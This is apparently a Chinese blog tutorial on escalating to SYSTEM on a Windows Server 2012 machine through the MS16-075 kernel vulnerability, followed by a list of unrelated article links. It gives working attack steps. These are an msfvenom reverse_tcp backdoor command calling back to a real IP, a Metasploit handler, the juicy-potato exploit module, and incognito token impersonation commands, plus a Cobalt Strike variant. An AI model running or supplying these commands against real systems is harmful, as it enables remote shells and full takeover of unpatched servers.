Windows系统内核溢出漏洞提权
溢出漏洞是一种计算机程序的可更正性缺陷。溢出漏洞的全名:缓冲区溢出漏洞。因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫缓冲区溢出漏洞。缓冲溢出是最常见的内存错误之一,也是攻击者入侵系统时所用到的最强大、最经典的一类漏洞利用方式。成功地利用缓冲区溢出漏洞可以修改内存中变量的值,甚至可以劫持进程,执行恶意代码,最终获得主机的控制权。
利用Windows系统内核溢出漏洞提权是一种很通用的提权方法,攻击者通常可以使用该方法绕过系统中的所有安全限制。攻击者利用该漏洞的关键是目标系统有没有及时安装补丁,如果目标系统没有安装某一漏洞的补丁且存在该漏洞的话,攻击者就会向目标系统上传本地溢出程序,溢出Administrator权限。
在此之前已经上传一句话取得admin权限,具体过程这里不做演示,在自己服务器做的演示,大家通常取得的权限可能会比admin低,但也是可以进行以下提权的,这里要把目标提权至system权限。
这里介绍到两个项目WindowsVulnScan-master&wesng-master来进行漏洞的筛选收集,便于后期提权。
https://github.com/chroblert/WindowsVulnScan
https://github.com/bitsadmin/wesng
用冰蝎上传上去
文章图片
如上图:WindowsVulnScan-master的KBCollect.ps1和KB.json已经上传成功,需要powershell执行在实际测试中一般cmd权限并不能执行powershell,但可以执行systeminfo,得到的信息替换KB.json,然后在本地进行漏洞筛选对比。
这里测试直接在服务器进行了执行,小伙伴们测试时可以执行systeinfor然后复制替换到KB.json进行测试。
这里我直接把KB.json复制回本地进行筛选
文章图片
文章图片
尝试利用这个CVE-2016-3225进行提权
文章图片
为什么会选这个cve进行提权呢?
下面引入另一个项目:https://github.com/Ascotbe/KernelHub这是国外的一个提权项目,里面的编号都是经过测试适合提权的。里面也有漏洞的exp
文章图片
同时通过cve-2016-3225找到该漏洞对应的MS16-075
推荐项目:CVE -CVE Reference Map for Source MS
文章图片
下面用msf进行提权演示
1.生成后门
【服务器|利用MSF&CS溢出漏洞提权云服务器windows server2012】 msfvenom -p windows/meterpreter/reverse_tcp LHOST=106.14.195.29 LPORT=3333 -f exe -o msf.exe
文章图片
2.把生成的后面msf.exe上传到目标服务器
3.设置监听
use exploit/multi/handler
文章图片
set payload windows/meterpreter/reverse_tcp
文章图片
set lhost 0.0.0.0
set lport 3333
exploit
文章图片
4.执行已经上传到目标的后门msf.exe
文章图片
成功返回shell
5. getuid查看当前权限为administrator,这里我们的目标是要提升为system
文章图片
6.通过msf中自带的插件来识别当前系统中可以利用的EXP来进行提权。
use multi/recon/local_exploit_suggester
或者自行根据当前cve编号选择合适的ms提权EXP
这里直接用测试成功的exp进行执行
use exploit/windows/local/ms16_075_reflection_juicy
7.执行background当前会话放到后台session
文章图片
8.sessions查看之前放到后台的session
文章图片
10.查看配置无误后exploit或run执行。
文章图片
这里我们看到执行成功,但是并没有会话返回
11.通过利用发现msf中自带的
ms16-075
的exp利用无法返回session。故通过
GitHub下载ms16-075的exp
windows-kernel-exploits/MS16-075 at master · SecWiki/windows-kernel-exploits · GitHub文章图片
下载完成后将potato.exe上传到目标服务器
12.返回shell会话
文章图片
13.然后执行如下命令:
use incognito:加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)
list_tokens -u:列出目标主机用户的可用令牌
文章图片
14.执行下面命令
execute -cH -f c:/potato.exe :创建新的进程
list_tokens -u :列出目标主机用户的可用令牌
impersonate_token "NT AUTHORITY\SYSTEM" :假冒目标主机上的可用令牌
文章图片
提示successfully表示提权成功,此时执行命令:
getuid:查看当前权限
提权成功
文章图片
下面用CS进行提权测试
1.找到后面模块生成后门
文章图片
2. 上传服务器执行
3.选择taotu插件提权模块的juicypotato进行首次尝试
如图:直接提升至system权限
文章图片
推荐阅读
- k8s|【kubernetes篇】教你kubeadm方式搭建kubernetes 集群。单master节点集群,多master节点集群说明。
- WPF|c# Bartender打印开发详解
- Linux|【Linux】静态库和动态库的生成与使用
- 防火墙基础之服务器区的防护策略
- linux|Python实现Shell脚本
- Linux|Linux下零拷贝技术
- rocket|rocket mq 监听端口_微服务异步架构——MQ之RocketMQ
- web开发学习|HTML期末大作业放在了阿里云服务器上
- rockchip|Rockchip Linux SDK软件包的解压